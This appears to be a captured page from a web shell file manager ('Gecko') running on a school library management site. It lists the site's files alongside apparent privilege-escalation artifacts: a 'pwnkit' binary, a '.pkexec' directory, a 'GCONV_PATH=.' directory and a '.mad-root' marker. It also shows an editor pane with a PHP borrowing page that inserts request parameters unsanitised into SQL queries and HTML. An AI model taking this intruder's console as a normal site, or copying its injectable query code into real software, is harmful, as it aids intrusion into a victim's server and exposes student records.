Gecko [ ubschool.org.in ]

Name	Size	Permission
.pkexec	[ DIR ]	drwxr-xr-x
BCG	[ DIR ]	drwxr-xr-x
GCONV_PATH=.	[ DIR ]	drwxr-xr-x
book_image	[ DIR ]	drwxr-xr-x
css	[ DIR ]	drwxr-xr-x
fonts	[ DIR ]	drwxr-xr-x
images	[ DIR ]	drwxr-xr-x
include	[ DIR ]	drwxr-xr-x
js	[ DIR ]	drwxr-xr-x
jsjs	[ DIR ]	drwxr-xr-x
less	[ DIR ]	drwxr-xr-x
tcpdf	[ DIR ]	drwxr-xr-x
upload	[ DIR ]	drwxr-xr-x
.htaccess	199 B	-rw-r--r--
.mad-root	0 B	-rw-r--r--
about_us.php	9.82 KB	-rw-r--r--
add_admin.php	8.78 KB	-rw-r--r--
add_book.php	15.62 KB	-rw-r--r--
add_modal_example.php	1.98 KB	-rw-r--r--
add_modal_example.txt	1.99 KB	-rw-r--r--
add_modal_example_2.php	1.98 KB	-rw-r--r--
add_modal_example_2.txt	1.98 KB	-rw-r--r--
add_modal_example_3.php	1.96 KB	-rw-r--r--
add_user.php	11 KB	-rw-r--r--
admin.php	5.01 KB	-rw-r--r--
admin_profile.php	5.01 KB	-rw-r--r--
allowed_days.php	5.23 KB	-rw-r--r--
allowed_qntty.php	5.09 KB	-rw-r--r--
book.php	6.85 KB	-rw-r--r--
book_print.php	3.89 KB	-rw-r--r--
book_print1.php	3.89 KB	-rw-r--r--
book_print2.php	3.89 KB	-rw-r--r--
book_print3.php	3.88 KB	-rw-r--r--
book_print4.php	3.9 KB	-rw-r--r--
book_print5.php	3.89 KB	-rw-r--r--
book_print6.php	3.9 KB	-rw-r--r--
borrow.php	3.27 KB	-rw-r--r--
borrow_book.php	16.83 KB	-rw-r--r--
borrow_book_query.php	1.74 KB	-rw-r--r--
borrow_query.php	546 B	-rw-r--r--
borrowed_book.php	5.42 KB	-rw-r--r--
borrowed_print.php	4.82 KB	-rw-r--r--
borrowed_print_sort.php	5.4 KB	-rw-r--r--
borrowed_report.php	4.26 KB	-rw-r--r--
borrowed_search.php	7.49 KB	-rw-r--r--
copy.txt	8.66 KB	-rw-r--r--
currentdate.php	578 B	-rw-r--r--
damage_books.php	6.84 KB	-rw-r--r--
datepicker.php	1.62 KB	-rw-r--r--
db_limsysuim.sql	786.67 KB	-rw-r--r--
delete_admin.php	206 B	-rw-r--r--
delete_temporary.php	2.85 KB	-rw-r--r--
delete_user.php	196 B	-rw-r--r--
edit_admin.php	10.05 KB	-rw-r--r--
edit_book.php	17.14 KB	-rw-r--r--
edit_user.php	11.89 KB	-rw-r--r--
error_log	672 B	-rw-r--r--
footer.php	16.41 KB	-rw-r--r--
hard_bound.php	6.84 KB	-rw-r--r--
hawid ka barcode.txt	3.57 KB	-rw-r--r--
hawid.txt	3.01 KB	-rw-r--r--
hawid_borrow_book.txt	10.19 KB	-rw-r--r--
hawiddd.txt	11.3 KB	-rw-r--r--
header.php	3.4 KB	-rw-r--r--
home.php	3.91 KB	-rw-r--r--
import_members.php	2.58 KB	-rw-r--r--
import_members_query.php	1.02 KB	-rw-r--r--
index.php	292.73 KB	-rw-r--r--
info.php	20 B	-rw-r--r--
issue_book_report_by_name.php	6.15 KB	-rw-r--r--
layout.php	2.29 KB	-rw-r--r--
lmsdb.sql	1.27 MB	-rw-r--r--
login.php	616 B	-rw-r--r--
logout.php	339 B	-rw-r--r--
lost_books.php	6.84 KB	-rw-r--r--
member_print.php	3.96 KB	-rw-r--r--
members_barcode_print.php	3.02 KB	-rw-r--r--
new_books.php	6.83 KB	-rw-r--r--
old_books.php	6.83 KB	-rw-r--r--
penalty.php	5.18 KB	-rw-r--r--
print_attendance.php	3.22 KB	-rw-r--r--
print_attendance_sort.php	3.32 KB	-rw-r--r--
print_barcode.php	3.43 KB	-rw-r--r--
print_barcode1.php	2.74 KB	-rw-r--r--
print_barcode11.php	3.39 KB	-rw-r--r--
print_barcode12.php	3.39 KB	-rw-r--r--
print_barcode13.php	3.39 KB	-rw-r--r--
print_barcode14.php	3.4 KB	-rw-r--r--
print_barcode15.php	3.39 KB	-rw-r--r--
print_barcode16.php	3.4 KB	-rw-r--r--
print_barcode_individual.php	2.85 KB	-rw-r--r--
print_barcode_individual1.php	2.03 KB	-rw-r--r--
print_barcode_individual1_1.ph...	2.11 KB	-rw-r--r--
print_issue_book_name.php	5.74 KB	-rw-r--r--
print_returned_book.php	6.18 KB	-rw-r--r--
print_returned_book_name.php	5.68 KB	-rw-r--r--
print_returned_sort.php	4.99 KB	-rw-r--r--
pwnkit	10.99 KB	-rwxr-xr-x
report.php	7.15 KB	-rw-r--r--
report_by_title.php	2.07 KB	-rw-r--r--
report_by_volume.php	2.6 KB	-rw-r--r--
return_book_report_by_name.php	5.91 KB	-rw-r--r--
returned_book.php	8.04 KB	-rw-r--r--
returned_book_print.php	6.8 KB	-rw-r--r--
returned_book_search.php	8.83 KB	-rw-r--r--
returned_report.php	4.26 KB	-rw-r--r--
scripts.php	12.71 KB	-rw-r--r--
session.php	123 B	-rw-r--r--
session_user.php	385 B	-rw-r--r--
settings.php	549 B	-rw-r--r--
sidebar_menu.php	6.04 KB	-rw-r--r--
slide.php	2.55 KB	-rw-r--r--
sort_borrowed_book.php	5.37 KB	-rw-r--r--
sort_report.php	4.4 KB	-rw-r--r--
sort_returned_book.php	5.95 KB	-rw-r--r--
sort_returned_book_copy.txt	5.49 KB	-rw-r--r--
sub_rep.php	6.86 KB	-rw-r--r--
top_nav.php	2.07 KB	-rw-r--r--
update_members_status.php	193 B	-rw-r--r--
user.php	6.18 KB	-rw-r--r--
user_log_in.php	5.51 KB	-rw-r--r--
user_log_print.php	3.29 KB	-rw-r--r--
user_log_search.php	6.82 KB	-rw-r--r--
user_print_sort.php	3.46 KB	-rw-r--r--
view_admin.php	3.42 KB	-rw-r--r--
view_barcode.php	2.62 KB	-rw-r--r--
view_book.php	3.95 KB	-rw-r--r--
view_book_barcode.php	3.1 KB	-rw-r--r--
view_graph.php	6.46 KB	-rw-r--r--
view_members_barcode.php	3.21 KB	-rw-r--r--
view_user.php	3.61 KB	-rw-r--r--

Code Editor : hawiddd.txt

<?php include ('header.php'); ?>
<?php 
	$school_number = $_GET['school_number'];
	
	$user_query = mysql_query("SELECT * FROM user WHERE school_number = '$school_number' ");
	$user_row = mysql_fetch_array($user_query);
?>
        <div class="page-title">
            <div class="title_left">
                <h3>
					<small>Home /</small> Borrowed Books
                </h3>
            </div>
        </div>
        <div class="clearfix"></div>

<div class="row">
            <div class="col-md-12 col-sm-12 col-xs-12">
                <div class="x_panel">
                    <div class="x_title">
					
					<?php
						$sql = mysql_query("SELECT * FROM user WHERE school_number = '$school_number' ");
						$row = mysql_fetch_array($sql);
					?>
					<h2>
					Borrower Name : <span style="color:maroon;"><?php echo $row['firstname']." ".$row['lastname']; ?></span>
					</h2>
                        <ul class="nav navbar-right panel_toolbox">
                            <li><a class="collapse-link"><i class="fa fa-chevron-up"></i></a></li>
                        
                            <li><a class="close-link"><i class="fa fa-close"></i></a></li>
                        </ul>
                        <div class="clearfix"></div>
                    </div>
                    <div class="x_content">
                        
						
					<div class="row" style="margin-bottom:50px;">
						<h2>Borrowed Book/s</h2>
							<table cellpadding="0" cellspacing="0" border="0" class="table table-bordered">
				
									<th>Book Barcode</th>
									<th>Title</th>
									<th>Author</th>
									<th>ISBN</th>
									<th>Date Borrowed</th>
									<th>Due Date</th>
									<th>Action</th>
							<?php 
								$borrow_query = mysql_query("SELECT * FROM borrow_book
									LEFT JOIN book ON borrow_book.book_id = book.book_id
									WHERE user_id = '".$user_row['user_id']."' && borrowed_status = 'borrowed' ORDER BY borrow_book_id DESC") or die(mysql_error());
								$borrow_count = mysql_num_rows($borrow_query);
								while($borrow_row = mysql_fetch_array($borrow_query)){
								
								$timezone = "Asia/Manila";
								if(function_exists('date_default_timezone_set')) date_default_timezone_set($timezone);
								$cur_date = date("Y-m-d H:i:s");
								$date_returned = date("Y-m-d H:i:s");
								//$due_date = strtotime($cur_date);
								//$due_date = strtotime("+3 day", $due_date);
								//$due_date = date('F j, Y g:i a', $due_date);
								///$checkout = date('m/d/Y', strtotime("+1 day", strtotime($due_date)));
							?>
							<tr>
								
								<td><?php echo $borrow_row['book_barcode']; ?></td>
								<td style="text-transform: capitalize"><?php echo $borrow_row['book_title']; ?></td>
								<td style="text-transform: capitalize"><?php echo $borrow_row['author']; ?></td>
								<td><?php echo $borrow_row['isbn']; ?></td>
								<td><?php echo date("M d, Y H:i:s",strtotime($borrow_row['date_borrowed'])); ?></td>
								<td><?php echo date("M d, Y H:i:s",strtotime($borrow_row['due_date'])); ?></td>
								<td>
								<form method="post" action="">
								<input type="hidden" name="date_returned" class="new_text" id="sd" value="<?php echo $date_returned ?>" size="16" maxlength="10"  />
								<input type="hidden" name="user_id" value="<?php echo $borrow_row['user_id']; ?>">
								<input type="hidden" name="book_id" value="<?php echo $borrow_row['book_id']; ?>">
								<input type="hidden" name="date_borrowed" value="<?php echo $borrow_row['date_borrowed']; ?>">
								<input type="hidden" name="due_date" value="<?php echo $borrow_row['due_date']; ?>">
								<button name="return_now" class="btn btn-primary"><i class="glyphicon glyphicon-import"></i> Returned</button>
								</form>
								</td>
								
							</tr>
							<?php 
							}
							if ($borrow_count <= 0){
								echo '
									<table>
										<tr>
											<td style="padding:10px;" class="alert alert-danger">No books borrowed</td>
										</tr>
									</table>
								';
							} 							
							?>
							<?php
								if (isset($_POST['return_now'])) {
									$user_id= $_POST['user_id'];
									$book_id= $_POST['book_id'];
									$date_borrowed= $_POST['date_borrowed'];
									$due_date= $_POST['due_date'];
									$date_returned = $_POST['date_returned'];
									
									$penalty = round((float)(strtotime($date_returned) - strtotime($due_date)) / (60 * 60 *24));

$update_copies = mysql_query ("SELECT * from book where book_id = '$book_id' ") or die (mysql_error());
									$copies_row= mysql_fetch_assoc($update_copies);
									
									$book_copies = $copies_row['book_copies'];
									$new_book_copies = $book_copies + 1;
									
									mysql_query("UPDATE book SET book_copies = '$new_book_copies' where book_id = '$book_id'") or die (mysql_error());
								
									$timezone = "Asia/Manila";
									if(function_exists('date_default_timezone_set')) date_default_timezone_set($timezone);
									$cur_date = date("Y-m-d H:i:s");
									$date_returned_now = date("Y-m-d H:i:s");
									//$due_date = strtotime($cur_date);
									//$due_date = strtotime("+3 day", $due_date);
									//$due_date = date('F j, Y g:i a', $due_date);
									///$checkout = date('m/d/Y', strtotime("+1 day", strtotime($due_date)));
								
									mysql_query ("UPDATE borrow_book SET borrowed_status = 'returned', date_returned = '$date_returned_now', book_penalty = '$penalty' where user_id = '$user_id' and book_id = '$book_id' ") or die (mysql_error());
									
									mysql_query ("INSERT INTO return_book (user_id, book_id, date_borrowed, due_date, date_returned)
									values ('$user_id', '$book_id', '$date_borrowed', '$due_date', '$date_returned')") or die (mysql_error());
							?>
									<script>
										window.location="borrow_book.php?school_number=<?php echo $school_number ?>";
									</script>
							<?php 
																}
							?>
				
							</table>
						</div>
						
					<div class="row">
						<form method="post">
							<div class="col-xs-4">
								<input type="text" style="margin-bottom:10px; margin-left:-9px;" class="form-control" name="barcode" placeholder="Enter barcode here.....">
							</div>
						</form>
						<table class="table table-bordered">
							<form method="post" action="">
							<th>Barcode</th>
							<th>Title</th>
							<th>Author</th>
							<th>ISBN</th>
							<th>Action</th>
							<?php 
								if (isset($_POST['barcode'])){
									$barcode = $_POST['barcode'];
									
									$book_query = mysql_query("SELECT * FROM book WHERE book_barcode = '$barcode' ") or die (mysql_error());
									$book_count = mysql_num_rows($book_query);
									$book_row = mysql_fetch_array($book_query);
									
									if ($book_row['book_barcode'] != $barcode){
										echo '
											<table>
												<tr>
													<td>No match for the barcode entered!</td>
												</tr>
											</table>
										';
									}else{
							?>
							<tr>
							<input type="hidden" name="user_id" value="<?php echo $user_row['user_id'] ?>">
							<input type="hidden" name="book_id" value="<?php echo $book_row['book_id'] ?>">
							
							<td><?php echo $book_row['book_barcode'] ?></td>
							<td style="text-transform: capitalize"><?php echo $book_row['book_title'] ?></td>
							<td style="text-transform: capitalize"><?php echo $book_row['author'] ?></td>
							<td><?php echo $book_row['isbn'] ?></td>
							<td><button name="borrow" class="btn btn-info">Borrow</button></td>
							</tr>
							<?php } }?>

<?php
							$timezone = "Asia/Manila";
							if(function_exists('date_default_timezone_set')) date_default_timezone_set($timezone);
							$cur_date = date("Y-m-d H:i:s");
							$date_borrowed = date("Y-m-d H:i:s");
							$due_date = strtotime($cur_date);
							$due_date = strtotime("+3 day", $due_date);
							$due_date = date('Y-m-d H:i:s', $due_date);
							///$checkout = date('m/d/Y', strtotime("+1 day", strtotime($due_date)));
							?>
							<input type="hidden" name="due_date" class="new_text" id="sd" value="<?php echo $due_date ?>" size="16" maxlength="10"  />
							<input type="hidden" name="date_borrowed" class="new_text" id="sd" value="<?php echo $date_borrowed ?>" size="16" maxlength="10"  />
							
							<?php 
								if (isset($_POST['borrow'])){
									$user_id =$_POST['user_id'];
									$book_id =$_POST['book_id'];
									$date_borrowed =$_POST['date_borrowed'];
									$due_date =$_POST['due_date'];
									
									$trapBookCount= mysql_query ("SELECT count(*) as books_allowed from borrow_book where user_id = '$user_id' and borrowed_status = 'borrowed'") or die (mysql_error());
									
									$countBorrowed = mysql_fetch_assoc($trapBookCount);
									
									$bookCountQuery= mysql_query ("SELECT count(*) as book_count from borrow_book where user_id = '$user_id' and borrowed_status = 'borrowed' and book_id = $book_id") or die (mysql_error());
									
									$bookCount = mysql_fetch_assoc($bookCountQuery);
									
									if ($countBorrowed['books_allowed'] >= 3){
										echo "<script>alert('3 Books Allowed per User!'); window.location='borrow_book.php'</script>";
									}elseif ($bookCount['book_count'] == 1){
										echo "<script>alert('Book Already Borrowed!'); window.location='borrow_book.php'</script>";
									}else{
										
									$update_copies = mysql_query ("SELECT * from book where book_id = '$book_id' ") or die (mysql_error());
									$copies_row= mysql_fetch_assoc($update_copies);
									
									$book_copies = $copies_row['book_copies'];
									$new_book_copies = $book_copies - 1;
									
									if ($new_book_copies == 4){
										echo "<script>alert('Book out of Copy!'); window.location='borrow.php'</script>";
									}else{
									
									mysql_query("UPDATE book SET book_copies = '$new_book_copies' where book_id = '$book_id' ") or die (mysql_error());
									
									mysql_query("INSERT INTO borrow_book(user_id,book_id,date_borrowed,due_date,borrowed_status)
									VALUES('$user_id','$book_id','$date_borrowed','$due_date','borrowed')") or die (mysql_error());
									}
									}
							?>
									
									
									<script>
										window.location="borrow_book.php?school_number=<?php echo $school_number ?>";
									</script>
							<?php	
								}
							?>
							</form>
						</table>
						
					</div>
				</div>
						
						
                        
                    </div>
                </div>
            </div>

<?php include ('footer.php'); ?>

${this.title}

Code Editor : hawiddd.txt